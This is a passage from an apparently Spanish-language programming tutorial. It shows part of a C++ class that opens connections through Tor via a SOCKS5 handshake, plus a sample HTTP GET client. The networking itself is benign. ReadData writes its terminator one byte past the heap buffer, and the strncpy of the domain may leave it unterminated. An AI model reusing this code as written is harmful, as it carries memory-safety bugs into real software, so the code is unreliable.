				memcpy(cByteSequense2 + 4, &cHost_Len, 1);
				memcpy(cByteSequense2 + 5, cHostname, cHost_Len);
				memcpy(cByteSequense2 + 5 + cHost_Len, &sHost_Port, 2);
				send(this->SocketD, cByteSequense2, 7 + cHost_Len, 0);
				memset(rBuffer, 0, sizeof(rBuffer));
				iReceived = recv(this->SocketD, rBuffer, 10, 0);
				if(rBuffer[1] == 0x00){
					std::cout<<"Conexion satisfatoria\n";
					//Ahora se puede enviar datos atraves de este socket
					return this->SocketD;
				} else {
					return -1;
				}
			}
		} else {
			return -1;
		}
		return -1;
	}

	void CloseSocket(){
		close(this->SocketD);
	}

	int SendData(const char *data, int size){
		return send(this->SocketD, data, size, 0);
	}

	int ReadData(char*& buffer){
		buffer = (char *)malloc(2048);
		unsigned int so_far = 0;
		char u_c[2];
		while(recv(this->SocketD, u_c, 1, 0) > 0){
			if(so_far >= 2048){
				buffer = (char *)realloc(buffer, so_far + 1);
			}
			buffer[so_far++] = u_c[0];
		}
		buffer[so_far] = '\0';
		return so_far;
	}
};

//Simple ejemplo de peticion HTTP a url specificada
int main(int argc, char **argv){
	if(argc < 2){
		std::cout<<argv[0]<<" url\n";
		return 0;
	}
	TorSocket tor;
	char domain[128];
	char *response;
	strncpy(domain, argv[1], 128);
	int stat = tor.Connect(domain, 80);
	if(stat == -1){
		std::cout<<"No se pudo conectar\n";
		return -1;
	}
	std::cout<<"Conectado\n";
	char packet[512];
	snprintf(packet, 512, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", domain);
	if(tor.SendData(packet, strlen(packet)) > 0){
		unsigned int bytes = tor.ReadData(response);
		if(bytes>0){
			std::cout<<response<<"\n\n";
		} else {
			std::cout<<"No se recibio nada\n";
		}
		free(response);
	} else {
		std::cout<<"Error al enviar el paquete\n";
	}
	tor.CloseSocket();
	return 0;
}


Una captura de pantalla
         

Espero les haya servido y le den un buen uso, cualquier correcion o duda dejenme saberla.

Saludos